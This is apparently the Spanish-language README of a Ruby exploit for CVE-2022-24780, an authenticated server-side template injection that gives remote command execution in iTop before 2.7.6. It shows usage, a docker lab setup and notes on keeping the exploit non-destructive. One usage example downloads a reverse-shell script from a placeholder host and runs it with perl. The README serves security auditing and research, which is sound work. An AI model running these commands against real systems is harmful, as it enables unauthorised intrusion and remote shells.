acceis/exploit-cve-2022-24780iTop < 2.7.6 - (Autenticado) Ejecución remota de comandos
iTop < 2.7.6 - Ejecución remota de comandos (autenticado)
Exploit para [CVE-2022-24780][CVE-2022-24780].
[EDB-TODO] [PacketStorm] [WLB-2022050075]
$ ruby exploit.rb -h
iTop < 2.7.6 - (Authenticated) Remote command execution
Usage:
exploit.rb full <url> <username> <password> <cmd> [--debug]
exploit.rb light <url> <username> <password> <cmd> [--debug]
exploit.rb -h | --help
full: exploit with an emulated browser, execute JavaScript, preserve original user profile information
light: just parse HTML and send requests, no JavaScript, (DESTRUCTIVE) reset user information: phone, location, function
Options:
<url> Root URL (base path) including HTTP scheme, port and root folder
<username> iTop portal username
<password> iTop portal user password
<cmd> Command to execute on the target
--debug Display arguments
-h, --help Show this screen
Examples:
exploit.rb full http://example.org john 's9nvEIZnEo6ghi' 'echo proof > /var/www/html/proof.txt'
exploit.rb light https://example.org:5000/itop john 's9nvEIZnEo6ghi' 'curl --remote-name http://pentest.example.com:7000/revshell.pl; perl revshell.pl'
La variante full del exploit utiliza Watir con un navegador web controlado por Selenium para emular la navegación de un usuario. Esto es necesario para preservar la información del usuario. El exploit inyecta un payload SSTI en una subparte del formulario utilizado para modificar la información del usuario en el perfil del portal. Mientras que algunos valores pueden estar codificados o ser obtenidos del HTML, otros (teléfono, ubicación, función) se cargan dinámicamente mediante JavaScript y se inyectan en el HTML. Por lo tanto, para que el exploit no sea destructivo, es necesario ejecutar JavaScript para poder recuperar esos valores.
La variante light del exploit no se preocupa tanto y simplemente establecerá de forma destructiva un valor nulo en algunos campos de información del usuario (teléfono, ubicación, función) en su lugar. Sin embargo, esta variante es más rápida de ejecutar, requiere menos dependencias, no ejecuta JavaScript y no necesita un entorno X (Watir lo necesita para ejecutar el navegador web).
TL;DR: instala todo bundle install
Variante full
Ejemplo usando gem:
gem install httpx docopt watir webdrivers
Variante light
Ejemplo usando gem:
gem install httpx docopt nokogiri
No se recomienda usar payloads con comillas dobles (") ni barras invertidas (\) porque el payload se inyecta en JSON.
Advertencia: este contenedor no es adecuado para uso en producción!
Usando vbkunin/itop:2.7.4 - fuente - docker hub
$ docker run -d -p 8000:80 --name=itop-CVE-2022-24780 vbkunin/itop:2.7.4
La vulnerabilidad fue encontrada por Markus KRELL.
Análisis de la vulnerabilidad por el descubridor:
ACCEIS no promueve ni fomenta ninguna actividad ilegal; todo el contenido proporcionado por este repositorio es únicamente con fines de investigación, educación y detección de amenazas.
Como auditor de seguridad (o cualquier otro rol de sombrero blanco), por un lado quieres ejecutar un script de exploit para verificar la explotabilidad práctica efectiva de la vulnerabilidad teórica basada en el número de versión de la aplicación que identificaste, pero por otro lado quieres que se haga correctamente sin ninguna acción destructiva para que la aplicación del cliente quede en el mismo estado en que la encontraste.
Por ejemplo, este exploit ocurre en la página de perfil del usuario, por lo que hay un formulario con información del usuario que ya está poblada: nombre, apellido, ID de organización, correo electrónico, teléfono, ID de ubicación, función, ID de gerente. Para que el ataque funcione, solo necesitas sobrescribir los campos vulnerables y llenar los demás con valores nulos o aleatorios si son obligatorios. Eso es lo que hace la variante light del exploit. Pero al hacerlo, destruirás la información real de ese usuario; no es problemático en un entorno de prueba, pero es un problema real si estás en un entorno de producción. Un sombrero negro no se preocupará por eso, pero como sombrero blanco debemos preservar los datos. Por lo tanto, la solución es obtener los datos reales y reutilizarlos en nuestra solicitud POST.
En aplicaciones web clásicas, a menudo solo tienes que elaborar directamente una solicitud POST con los parámetros correctos dirigidos al endpoint vulnerable. A veces necesitas manejar sesión/cookies, redirecciones, algunos estados previos que puedan ser necesarios, obtener algunos IDs o tokens anti-CSRF, pero todo esto sigue siendo muy directo y se puede lograr con prácticamente cualquier biblioteca HTTP en cualquier lenguaje.
Para recuperar los datos reales, cuando los datos en el formulario provienen de:
Comienza a ser un poco más delicado en algunas aplicaciones web modernas donde muchos valores se establecen a partir de manipulaciones complejas de JavaScript. Aquí no puedes simplemente analizar HTML o solicitar una API REST; tampoco puedes obtener el valor directamente de un archivo JavaScript o analizar varias líneas y recomponer un valor. Cuando el cálculo de JS es tan complejo, ocurre en muchos archivos JS diferentes o el código fuente de JavaScript está ofuscado o empaquetado, requeriría demasiado esfuerzo y tiempo para aplicar ingeniería inversa al mecanismo y extraer el valor. En ese caso, realmente tienes que interactuar con el JavaScript de la aplicación. ¡Pero un script de exploit clásico que solo requiera una biblioteca HTTP no puede hacer eso (por sí solo)!